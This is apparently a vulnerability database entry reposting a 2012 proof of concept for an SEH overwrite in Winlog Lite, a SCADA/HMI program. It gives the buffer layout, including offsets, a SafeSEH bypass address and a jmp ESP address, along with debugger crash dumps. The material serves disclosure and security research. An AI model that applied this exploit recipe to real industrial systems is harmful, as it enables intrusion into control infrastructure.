SCADA Vulnerabilities & Exposures (SVE)

CRITIFENCE® SCADA Vulnerabilities and Exposures Database (SVE)

[SVE-816813757] Winlog Lite SCADA HMI system SEH 0verwrite Vulnerability

Date Type Platform Author EDB-ID CVE-ID OSVDB-ID Download App SIS Signature
2012-08-29HMIwindowsCiph3r20917N/A86615N/AN/A

Source

						
							
								
######################################################################################
# Vuln Title: Winlog Lite SCADA HMI system SEH 0verwrite Vulnerability
# 
# Author: FaryadR (a.k.a Ciph3r)
# tested on : winXp sp3 and Winlog Lite 2.06.17 Version
# Twitter : https://twitter.com/faryadR
# Mail : Ciph3r.secure@gmail.com
# Website : http://0c0c0c0c.com
# Vendor : http://www.sielcosistemi.com
# 
#
######################################################################################

[+] Application Description :

Winlog Lite is the entry level version of the SCADA/HMI software Winlog Pro 
offered by Sielco Sistemi to allow an evaluation of the potentiality and the 
simplicity of use of the package; Winlog Lite is also a powerful and low cost
solution for creation of small supervisory applications.

Winlog Lite makes available most of development tools and functions provided by
the Winlog Pro software package, but limits the possibility to develop and to
run applications up to a max of 24 tags. Winlog Lite does not include Symbol 
Factory library and web support.

Winlog Lite can be executed both in Demo mode (without need of registration) 
and Full mode; in Demo mode, communication with external devices and sampling
of external tags automatically stops after 15 minutes (if required, it can be 
restarted manually); in Full mode communication goes on without any limit of time.

[+]Proof Of Concept  : 

After run Winlog Lite SCADA HMI SYSTEM go to Tools Menu and Application Builder
So , we can injected our Data to Application Name and Select Build Bottom 
after attach program to debugger :

9986 byte A + Pointer to next SEH record (6 byte jmp) + 
SE handler --> Non-SafeSEH Address for bypass SafeSEH Protection(0x32450A7B) + NOP + jmp ESP (0x7C86467B) + shellcode

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00385319   90               NOP
0038531A   90               NOP
0038531B   90               NOP
0038531C   55               PUSH EBP
0038531D   8BEC             MOV EBP,ESP
0038531F   53               PUSH EBX
00385320   8B00             MOV EAX,DWORD PTR DS:[EAX]
00385322   8B12             MOV EDX,DWORD PTR DS:[EDX]
00385324   E8 AD020000      CALL <JMP.&Vcl40.@System@@LStrCmp$qqrv>
00385329   0F94C0           SETE AL
0038532C   83E0 01          AND EAX,1
0038532F   5B               POP EBX
00385330   5D               POP EBP
00385331   C3               RETN
00385332   90               NOP
00385333   90               NOP
00385334   55               PUSH EBP
00385335   8BEC             MOV EBP,ESP
00385337   53               PUSH EBX
00385338   8B00             MOV EAX,DWORD PTR DS:[EAX]        --------> Crashed!
0038533A   8B12             MOV EDX,DWORD PTR DS:[EDX]
0038533C   E8 95020000      CALL <JMP.&Vcl40.@System@@LStrCmp$qqrv>
00385341   0F95C0           SETNE AL
00385344   83E0 01          AND EAX,1
00385347   5B               POP EBX
00385348   5D               POP EBP
00385349   C3               RETN
0038534A   90               NOP
0038534B   90               NOP
0038534C   55               PUSH EBP
0038534D   8BEC             MOV EBP,ESP
0038534F   83C4 CC          ADD ESP,-34
00385352   53               PUSH EBX
00385353   894D F8          MOV DWORD PTR SS:[EBP-8],ECX
00385356   8955 D0          MOV DWORD PTR SS:[EBP-30],EDX
00385359   8BD8             MOV EBX,EAX
0038535B   B8 007B3800      MOV EAX,DbfIntf.00387B00
00385360   E8 C3FDFFFF      CALL DbfIntf.00385128


[+] Attributes: thunk

; __fastcall Dbf_fields::TDbfFieldDefs::TDbfFieldDefs(Classes::TPersistent *)
@Dbf_fields@TDbfFieldDefs@$bctr$qqrp19Classes@TPersistent proc near
jmp     ds:__imp_@Dbf_fields@TDbfFieldDefs@$bctr$qqrp19Classes@TPersistent ; Dbf_fields::TDbfFieldDefs::TDbfFieldDefs(Classes::TPersistent *)
@Dbf_fields@TDbfFieldDefs@$bctr$qqrp19Classes@TPersistent endp



(1cec.1e7c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=00000000 edx=0012cae4 esi=0012cb74 edi=41414141
eip=00385338 esp=0012ca94 ebp=0012ca98 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Winlog Lite\Bin\DbfIntf.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Winlog Lite\Bin\DbfIntf.dll - 
DbfIntf!Dbf_fieldsTDbfFieldDefs$bdtr$qqrv+0x86c:
00385338 8b00            mov     eax,dword ptr [eax]  ds:0023:41414141=????????

0:000> u
DbfIntf!Dbf_fieldsTDbfFieldDefs$bdtr$qqrv+0x86c:
00385338 8b00            mov     eax,dword ptr [eax]
0038533a 8b12            mov     edx,dword ptr [edx]
0038533c e895020000      call    DbfIntf!Dbf_fieldsTDbfFieldDefs$bdtr$qqrv+0xb0a (003855d6)
00385341 0f95c0          setne   al
00385344 83e001          and     eax,1
00385347 5b              pop     ebx
00385348 5d              pop     ebp
00385349 c3              ret

0:000> !exchain
0012caac: DbfIntf!Dbf_fieldsTDbfFieldDefs$bdtr$qqrv+e6e (0038593a)
0012cb24: DbfIntf!Dbf_fieldsTDbfFieldDefs$bdtr$qqrv+e6e (0038593a)
0012f2ec: <Unloaded_s.dll>+43434342 (43434343)
Invalid exception stack at 42424242


0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ca98 003816dd 41414141 0012cba0 00000000 DbfIntf!Dbf_fieldsTDbfFieldDefs$bdtr$qqrv+0x86c
0012caf4 0038219f 0012cb70 41414141 0012cb74 DbfIntf+0x16dd
*** WARNING: Unable to verify checksum for C:\Program Files\Winlog Lite\Bin\ABuilder.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Winlog Lite\Bin\ABuilder.exe - 
0012cb80 00404098 41414141 00000001 0012cba0 DbfIntf!DbiCreateTable+0xf3
0012f314 41414141 41414141 41414141 41414141 ABuilder!FormsTForm$bdtr$qqrv+0x15f4
0012f318 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140
0012f31c 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140
0012f320 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140
0012f324 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140
0012f328 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140
0012f32c 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140
0012f330 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140
0012f334 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140
0012f338 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140
0012f33c 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140
0012f340 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140
0012f344 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140
0012f348 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140
0012f34c 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140
0012f350 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140
0012f354 41414141 41414141 41414141 41414141 <Unloaded_s.dll>+0x41414140



[+] 0verwrite SEH Pointer :


0012F2D4   41414141  AAAA
0012F2D8   41414141  AAAA
0012F2DC   41414141  AAAA
0012F2E0   41414141  AAAA
0012F2E4   41414141  AAAA
0012F2E8   41414141  AAAA
0012F2EC   42424242  BBBB  Pointer to next SEH record
0012F2F0   43434343  CCCC  SE handler
0012F2F4   41414141  AAAA
0012F2F8   41414141  AAAA
0012F2FC   41414141  AAAA
0012F300   41414141  AAAA
0012F304   41414141  AAAA
0012F308   41414141  AAAA
0012F30C   41414141  AAAA